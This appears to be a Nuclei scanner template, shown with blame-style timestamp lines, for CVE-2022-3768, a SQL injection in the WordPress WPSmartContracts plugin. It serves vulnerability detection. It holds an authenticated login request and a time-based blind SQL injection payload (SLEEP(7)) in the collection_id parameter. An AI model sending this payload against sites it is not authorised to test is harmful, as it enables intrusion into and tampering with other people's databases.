2022-12-25 21:55:02 +00:00
id : CVE-2022-3768
info :
2023-01-16 17:41:15 +00:00
name : WordPress WPSmartContracts <1.3.12 - SQL Injection
2022-12-25 21:55:02 +00:00
author : Hardik-Solanki
severity : high
description : |
2023-01-16 17:41:15 +00:00
WordPress WPSmartContracts plugin before 1.3.12 contains a SQL injection vulnerability. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement. An attacker with a role as low as author can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
2023-09-06 11:59:08 +00:00
remediation : Fixed in version 1.3.12
2022-12-25 21:55:02 +00:00
reference :
- https://wpscan.com/vulnerability/1d8bf5bb-5a17-49b7-a5ba-5f2866e1f8a3
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3768
- https://cve.report/CVE-2022-3768
2023-04-12 10:55:48 +00:00
- https://bulletin.iese.de/post/wp-smart-contracts_1-3-11/
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/cvemon
2022-12-25 21:55:02 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cve-id : CVE-2022-3768
cwe-id : CWE-89
2024-05-31 19:23:20 +00:00
epss-score : 0.02196
epss-percentile : 0.89419
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:wpsmartcontracts:wpsmartcontracts:*:*:*:*:*:wordpress:*:*
2022-12-25 21:55:02 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : wpsmartcontracts
product : wpsmartcontracts
2023-09-06 11:59:08 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,wp-smart-contracts,wpscan,wp-plugin,sqli,wordpress,wp,authenticated,wpsmartcontracts
2022-12-25 21:55:02 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-12-25 21:55:02 +00:00
- raw :
- |
2022-12-27 16:10:38 +00:00
POST /wp-login.php HTTP/1.1
2022-12-25 21:55:02 +00:00
Host : {{Hostname}}
2022-12-27 16:10:38 +00:00
Origin : {{RootURL}}
Content-Type : application/x-www-form-urlencoded
Cookie : wordpress_test_cookie=WP%20Cookie%20check
2022-12-25 21:55:02 +00:00
2022-12-27 16:10:38 +00:00
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
2024-02-12 12:07:30 +00:00
2022-12-27 16:10:38 +00:00
- |
2024-02-12 12:07:30 +00:00
@timeout : 15s
2024-02-06 15:41:49 +00:00
GET /wp-admin/edit.php?post_type=nft&page=nft-batch-mint&step=4&collection_id=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(7)))hlAf)&uid=1 HTTP/1.1
2022-12-27 16:10:38 +00:00
Host : {{Hostname}}
2022-12-25 21:55:02 +00:00
2022-12-27 16:10:38 +00:00
matchers :
- type : dsl
dsl :
2024-02-06 15:41:49 +00:00
- 'duration_2>=7'
2022-12-27 16:10:38 +00:00
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "Batch Mint NFTs")'
2022-12-25 21:55:02 +00:00
condition : and
2024-06-01 06:53:00 +00:00
# digest: 480a00453043021f00ac1820f09dc2f52690a5b9e6749ef92e22a4164b6ef2b0e03033c158ac180220057e3a7b9782376145eaccd82f65f8f15e2e8984e22e30e6eb164e83739a90b9:922c64590222798bb761d5b6d8e72950